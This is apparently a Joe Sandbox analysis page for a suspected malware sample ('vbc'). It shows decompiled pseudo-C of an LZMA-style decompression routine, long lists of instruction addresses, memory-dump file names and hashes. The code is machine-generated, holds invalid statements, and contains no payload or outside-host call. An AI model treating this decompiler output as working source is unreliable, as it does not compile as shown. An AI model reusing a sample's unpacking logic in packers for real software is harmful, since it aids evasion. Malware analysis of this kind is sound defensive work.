												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x004062eb
0x004062eb
0x004062ef
0x00406310
0x00406317
0x0040631d
0x00406323
0x00406335
0x0040633b
0x00406340
0x00000000
0x004062f1
0x004062f7
0x004066b8
0x004066b8
0x004066b8
0x004066bb
0x004066bb
0x004066bb
0x004066c1
0x004066c7
0x004066cd
0x004066e7
0x004066ea
0x004066f0
0x004066fb
0x004066fd
0x004066cf
0x004066cf
0x004066de
0x004066e2
0x004066e2
0x00406707
0x00000000
0x00000000
0x00406709
0x0040670d
0x004068bc
0x004068d2
0x004068da
0x004068e1
0x004068e3
0x004068ea
0x004068ee
0x004068ee
0x00406719
0x00406720
0x00406728
0x0040672b
0x0040672e
0x0040672e
0x00406734
0x00406734
0x00405ed0
0x00405ed0
0x00405ed0
0x00405ed9
0x00000000
0x00000000
0x00405edf
0x00000000
0x00405eea
0x00000000
0x00000000
0x00405ef3
0x00405ef6
0x00405ef9
0x00405efd
0x00000000
0x00000000
0x00405f03
0x00405f06
0x00405f08
0x00405f09
0x00405f0c
0x00405f0e
0x00405f0f
0x00405f11
0x00405f14
0x00405f19
0x00405f1e
0x00405f27
0x00405f3a
0x00405f3d
0x00405f49
0x00405f71
0x00405f73
0x00405f81
0x00405f81
0x00405f85
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f75
0x00405f75
0x00405f78
0x00405f79
0x00405f79
0x00000000
0x00405f75
0x00405f4f
0x00405f54
0x00405f54
0x00405f5d
0x00405f65
0x00405f68
0x00000000
0x00405f6e
0x00405f6e
0x00000000
0x00405f6e
0x00000000
0x00405f8b
0x00405f8b
0x00405f8f
0x0040683b
0x00000000
0x0040683b
0x00405f98
0x00405fa8
0x00405fab
0x00405fae
0x00405fae
0x00405fae
0x00405fb1
0x00405fb5
0x00000000
0x00000000
0x00405fb7
0x00405fbd
0x00405fe7
0x00405fed
0x00405ff4
0x00000000
0x00405ff4
0x00405fc3
0x00405fc6
0x00405fcb
0x00405fcb
0x00405fd6
0x00405fde
0x00405fe1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406026
0x0040602c
0x0040602f
0x0040603c
0x00406044
0x00000000
0x00000000
0x00405ffb
0x00405ffb
0x00405fff
0x0040684a
0x00000000
0x0040684a
0x0040600b
0x00406016
0x00406016
0x00406016
0x00406019
0x0040601c
0x0040601f
0x00406024
0x00000000
0x00000000
0x00000000
0x00000000
0x004066bb
0x004066bb
0x004066c1
0x004066c7
0x004066cd
0x004066e7
0x004066ea
0x004066f0
0x004066fb
0x004066fd
0x004066cf
0x004066cf
0x004066de
0x004066e2
0x004066e2
0x00406707
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040604c
0x0040604e
0x00406051
0x004060c2
0x004060c5
0x004060c8
0x004060cf
0x004060d9
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x00406053
0x00406057
0x0040605a
0x0040605c
0x0040605f
0x00406062
0x00406064
0x00406067
0x00406069
0x0040606e
0x00406071
0x00406074
0x00406078
0x0040607f
0x00406082
0x00406089
0x0040608d
0x00406095
0x00406095
0x00406095
0x0040608f
0x0040608f
0x0040608f
0x00406084
0x00406084
0x00406084
0x00406099
0x0040609c
0x004060ba
0x004060bc
0x00000000
0x0040609e
0x0040609e
0x004060a1
0x004060a4
0x004060a7
0x004060a9
0x004060a9
0x004060a9
0x004060ac
0x004060af
0x004060b1
0x004060b2
0x004060b5
0x00000000
0x004060b5
0x00000000
0x00000000
0x00000000
0x00406355
0x00406359
0x0040637c
0x0040637f
0x00406382
0x0040638c
0x0040635b
0x0040635b
0x0040635e
0x00406361
0x00406364
0x00406371
0x00406374
0x00406374
0x004066b8
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x00000000
0x00406398
0x0040639c
0x00000000
0x00000000
0x004063a2
0x004063a6
0x00000000
0x00000000
0x004063ac
0x004063ae
0x004063b2
0x004063b2
0x004063b5
0x004063b9
0x00000000
0x00000000
0x00406409
0x0040640d
0x00406414
0x00406417
0x0040641a
0x00406424
0x004066b8
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x004066b8
0x0040640f
0x00000000
0x00000000
0x00406430
0x00406434
0x0040643b
0x0040643e
0x00406441
0x00406436
0x00406436
0x00406436
0x00406444
0x00406447
0x0040644a
0x0040644a
0x0040644d
0x00406450
0x00406453
0x00406453
0x00406456
0x0040645d
0x00406462
0x00000000
0x00000000
0x004064f0
0x004064f0
0x004064f4
0x00406892
0x00000000
0x00406892
0x004064fa
0x004064fd
0x00406500
0x00406504
0x00406507
0x0040650d
0x0040650f
0x0040650f
0x0040650f
0x00406512
0x00406515
0x00000000
0x00000000
0x004060e5
0x004060e5
0x004060e9
0x00406856
0x00000000
0x00406856
0x004060ef
0x004060f2
0x004060f5
0x004060f9
0x004060fc
0x00406102
0x00406104
0x00406104
0x00406104
0x00406107
0x0040610a
0x0040610a
0x0040610d
0x00406110
0x00000000
0x00000000
0x00406116
0x0040611c
0x00000000
0x00000000
0x00406122
0x00406122
0x00406126
0x00406129
0x0040612c
0x0040612f
0x00406132
0x00406133
0x00406136
0x00406138
0x0040613e
0x00406141
0x00406144
0x00406147
0x0040614a
0x0040614d
0x00406150
0x0040616c
0x0040616f
0x00406172
0x00406175
0x0040617c
0x00406180
0x00406182
0x00406186
0x00406152
0x00406152
0x00406156
0x0040615e
0x00406163
0x00406165
0x00406167
0x00406167
0x00406189
0x00406190
0x00406193
0x00000000
0x00406199
0x00000000
0x00406199
0x00000000
0x0040619e
0x0040619e
0x004061a2
0x00406862
0x00000000
0x00406862
0x004061a8
0x004061ab
0x004061ae
0x004061b2
0x004061b5
0x004061bb
0x004061bd
0x004061bd
0x004061bd
0x004061c0
0x004061c3
0x004061c3
0x004061c3
0x004061c9
0x00000000
0x00000000
0x004061cb
0x004061ce
0x004061d1
0x004061d4
0x004061d7
0x004061da
0x004061dd
0x004061e0
0x004061e3
0x004061e6
0x004061e9
0x00406201
0x00406204
0x00406207
0x0040620a
0x0040620a
0x0040620d
0x00406211
0x00406213
0x004061eb
0x004061eb
0x004061f3
0x004061f8
0x004061fa
0x004061fc
0x004061fc
0x00406216
0x0040621d
0x00406220
0x00000000
0x00406222
0x00000000
0x00406222
0x00406220
0x00406227
0x00406227
0x00406227
0x00406227
0x00000000
0x00000000
0x00406262
0x00406262
0x00406266
0x0040686e
0x00000000
0x0040686e
0x0040626c
0x0040626f
0x00406272
0x00406276
0x00406279
0x0040627f
0x00406281
0x00406281
0x00406281
0x00406284
0x00406287
0x00406287
0x0040628d
0x0040622b
0x0040622b
0x0040622e
0x00000000
0x0040622e
0x0040628f
0x0040628f
0x00406292
0x00406295
0x00406298
0x0040629b
0x0040629e
0x004062a1
0x004062a4
0x004062a7
0x004062aa
0x004062ad
0x004062c5
0x004062c8
0x004062cb
0x004062ce
0x004062ce
0x004062d1
0x004062d5
0x004062d7
0x004062af
0x004062af
0x004062b7
0x004062bc
0x004062be
0x004062c0
0x004062c0
0x004062da
0x004062e1
0x004062e4
0x00000000
0x004062e6
0x00000000
0x004062e6
0x00000000
0x00406573
0x00406573
0x00406577
0x0040689e
0x00000000
0x0040689e
0x0040657d
0x00406580
0x00406583
0x00406587
0x0040658a
0x00406590
0x00406592
0x00406592
0x00406592
0x00406595
0x00000000
0x00000000
0x00406343
0x00406343
0x00406346
0x004066b8
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x00000000
0x00406682
0x00406686
0x004066a8
0x004066ab
0x004066b5
0x004066b8
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x004066b8
0x00406688
0x0040668b
0x0040668f
0x00406692
0x00406692
0x00406695
0x00000000
0x00000000
0x0040673f
0x00406743
0x00406761
0x00406761
0x00406761
0x00406768
0x0040676f
0x00406776
0x00406776
0x00000000
0x00406776
0x00406745
0x00406748
0x0040674b
0x0040674e
0x00406755
0x00406699
0x00406699
0x0040669c
0x00000000
0x00000000
0x00406830
0x00406833
0x00406734
0x00000000
0x00000000
0x0040646a
0x0040646c
0x00406473
0x00406474
0x00406476
0x00406479
0x00000000
0x00000000
0x00406481
0x00406484
0x00406487
0x00406489
0x0040648b
0x0040648b
0x0040648c
0x0040648f
0x00406496
0x00406499
0x004064a7
0x00000000
0x00000000
0x0040677d
0x0040677d
0x00406780
0x00406787
0x00000000
0x00000000
0x0040678c
0x0040678c
0x00406790
0x004068c8
0x00000000
0x004068c8
0x00406796
0x00406799
0x0040679c
0x004067a0
0x004067a3
0x004067a9
0x004067ab
0x004067ab
0x004067ab
0x004067ae
0x004067b1
0x004067b1
0x004067b1
0x004067b1
0x004067b4
0x004067b4
0x004067b8
0x00406818
0x0040681b
0x00406820
0x00406821
0x00406823
0x00406825
0x00406828
0x00406734
0x00406734
0x00000000
0x0040673a
0x00406734
0x004067ba
0x004067c0
0x004067c3
0x004067c6
0x004067c9
0x004067cc
0x004067cf
0x004067d2
0x004067d5
0x004067d8
0x004067db
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406801
0x00406803
0x00406803
0x00406804
0x00406807
0x004067dd
0x004067dd
0x004067e5
0x004067ea
0x004067ec
0x004067ef
0x004067ef
0x0040680a
0x00406811
0x00000000
0x00406813
0x00000000
0x00406813
0x00000000
0x004064af
0x004064b2
0x004064e8
0x00406618
0x00406618
0x00406618
0x00406618
0x0040661b
0x0040661b
0x0040661e
0x00406620
0x004068aa
0x00000000
0x004068aa
0x00406626
0x00406629
0x00000000
0x00000000
0x0040662f
0x00406633
0x00406636
0x00406636
0x00406636
0x00000000
0x00406636
0x004064b4
0x004064b6
0x004064b8
0x004064ba
0x004064bd
0x004064be
0x004064c0
0x004064c2
0x004064c5
0x004064c8
0x004064de
0x004064e3
0x0040651b
0x0040651b
0x0040651f
0x0040654b
0x0040654d
0x00406554
0x00406557
0x0040655a
0x0040655a
0x0040655f
0x0040655f
0x00406561
0x00406564
0x0040656b
0x0040656e
0x0040659b
0x0040659b
0x0040659e
0x004065a1
0x00406615
0x00406615
0x00406615
0x00000000
0x00406615
0x004065a3
0x004065a9
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b8
0x004065bb
0x004065be
0x004065c1
0x004065c4
0x004065dd
0x004065df
0x004065e2
0x004065e3
0x004065e6
0x004065e8
0x004065eb
0x004065ed
0x004065ef
0x004065f2
0x004065f4
0x004065f7
0x004065fb
0x004065fd
0x004065fd
0x004065fe
0x00406601
0x00406604
0x004065c6
0x004065c6
0x004065ce
0x004065d3
0x004065d5
0x004065d8
0x004065d8
0x00406607
0x0040660e
0x00406598
0x00406598
0x00406598
0x00406598
0x00000000
0x00406610
0x00000000
0x00406610
0x0040660e
0x00406521
0x00406524
0x00406526
0x00406529
0x0040652c
0x0040652f
0x00406531
0x00406534
0x00406537
0x00406537
0x0040653a
0x0040653a
0x0040653d
0x00406544
0x00406518
0x00406518
0x00406518
0x00406518
0x00000000
0x00406546
0x00000000
0x00406546
0x00406544
0x004064ca
0x004064cd
0x004064cf
0x004064d2
0x00000000
0x00000000
0x00406231
0x00406231
0x00406235
0x0040687a
0x00000000
0x0040687a
0x0040623b
0x0040623e
0x00406241
0x00406244
0x00406247
0x0040624a
0x0040624d
0x0040624f
0x00406252
0x00406255
0x00406258
0x0040625a
0x0040625a
0x0040625a
0x00000000
0x00000000
0x004063bc
0x004063bc
0x004063c0
0x00406886
0x00000000
0x00406886
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d1
0x004063d1
0x004063d1
0x004063d4
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e3
0x004063e4
0x004063e6
0x004063e6
0x004063e6
0x004063e9
0x004063ec
0x004063ef
0x004063f2
0x004063f2
0x004063f2
0x004063f5
0x004063f7
0x004063f7
0x00000000
0x00000000
0x00406639
0x00406639
0x00406639
0x0040663d
0x00000000
0x00000000
0x00406643
0x00406646
0x00406649
0x0040664c
0x0040664e
0x0040664e
0x0040664e
0x00406651
0x00406654
0x00406657
0x0040665a
0x0040665d
0x00406660
0x00406661
0x00406663
0x00406663
0x00406663
0x00406666
0x00406669
0x0040666c
0x0040666f
0x00406672
0x00406676
0x00406678
0x0040667b
0x00000000
0x0040667d
0x004063fa
0x004063fa
0x00000000
0x004063fa
0x0040667b
0x004068b0
0x00000000
0x00000000
0x00405edf
0x004068e7
0x004068e7
0x00000000
0x004068e7
0x00406734
0x004066bb
0x004066b8
0x00000000
0x004062ef

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25af1c67d90c65bbedd3736b3b8ac70fc4bdcff7d4c70ba7fb1a825d48c8a324
Instruction ID: 4708b7c85b45d81bde2c34293bfadd2d5d28089b3d5bcf645a888e2e7e0fcfc2
Opcode Fuzzy Hash: 25af1c67d90c65bbedd3736b3b8ac70fc4bdcff7d4c70ba7fb1a825d48c8a324
Instruction Fuzzy Hash: 91711371D00229DFDF24CFA8C844BADBBB1FB44305F15816AD816B7281D7389996DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406409 Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406409() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M004068EF))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8));
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
